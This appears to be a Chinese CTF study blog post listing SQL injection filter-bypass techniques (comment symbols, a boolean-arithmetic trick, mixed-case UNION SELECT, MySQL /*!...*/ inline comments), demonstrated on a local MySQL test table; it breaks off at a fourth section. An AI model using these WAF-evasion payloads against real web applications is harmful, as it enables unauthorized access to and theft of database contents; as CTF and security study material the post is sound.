ctf sql注入关键词绕过【积累中】

分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow

也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!

               

写在前面:这个博客知识点来源于个人ctf练习比赛中积累的知识点及网络中各个博客的总结点,这里做测试和记录


0x00 sql注入理解

    SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。

    sql注入的原因,表面上说是因为 拼接字符串,构成sql语句,没有使用 sql语句预编译,绑定变量;但是更深层次的原因是,将用户输入的字符串,当成了 “sql语句” 来执行。

    比如语句 String sql = "select id,no from user where id=" + id;
我们希望用户输入的 id 的值,仅仅作为一个字符串字面值,传入数据库执行,但是当输入了: 2 or 1=1 时,其中的 or 1=1 并没有作为 where id= 的字面值,而是作为了 sql语句 来执行的。所以其本质是将用户的输入的数据,作为了命令来执行。


测试环境:Server version: 5.7.17-log MySQL Community Server (GPL)

0x01 sql注入绕过

1.1 注释符绕过

常用注释符:

 -- , /**/, #

验证:
mysql> select * from sql_test where id = /*11*/1;+----+----------+----------+| id | username | password |+----+----------+----------+|  1 | admin    | 123456   |+----+----------+----------+1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;-- select * from sql_test;+----+----------+----------+| id | username | password |+----+----------+----------+|  3 | test2    | 456      |+----+----------+----------+1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;# select * from sql_test;+----+----------+----------+| id | username | password |+----+----------+----------+|  3 | test2    | 456      |+----+----------+----------+1 row in set (0.00 sec)

这里还从别的表哥博客中发现了一种新姿势:

mysql> select * from sql_test where id ='1'/1=(1=3)/'1'='1';+----+----------+----------+| id | username | password |+----+----------+----------+|  2 | test     | 234      ||  3 | test2    | 456      |+----+----------+----------+2 rows in set (0.00 sec)mysql> select * from sql_test where id ='1'/1=(1=1)/'1'='1';+----+----------+----------+| id | username | password |+----+----------+----------+|  1 | admin    | 123456   |+----+----------+----------+1 row in set (0.00 sec)
理解如下:

where id=1=0/1=1
->where id=1=0=1
id!=1,比如id=2 和 id=3的时候
id=1返回了一个值为0的布尔变量
0=0继而返回了1的布尔变量
再和=1比较,返回比较成功,故选取了id2,3的记录

先除后判等,左往右

1.2 大小写绕过

    sql语句忽略关键词是否大小写,其实只要waf不是故意这样设计的,基本上拦截都是大小写一起拦截的

mysql> select * from sql_test where id = 3 uniON sEleCt  * from sql_test where id = 2;+----+----------+----------+| id | username | password |+----+----------+----------+|  3 | test2    | 456      ||  2 | test     | 234      |+----+----------+----------+2 rows in set (0.00 sec)

1.3 内联注释绕过

    ummmm,解释起来就是,它把一些特有的仅在MYSQL上的语句放在 /*! ... */ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行

mysql> select * from sql_test where id = 3 union /*!select*/  * from sql_test where id like 2;+----+----------+----------+| id | username | password |+----+----------+----------+|  3 | test2    | 456      ||  2 | test     | 234      |+----+----------+----------+2 rows in set (0.00 sec)

1.4 双关键字绕过

阅读更多

没有更多推荐了,返回首页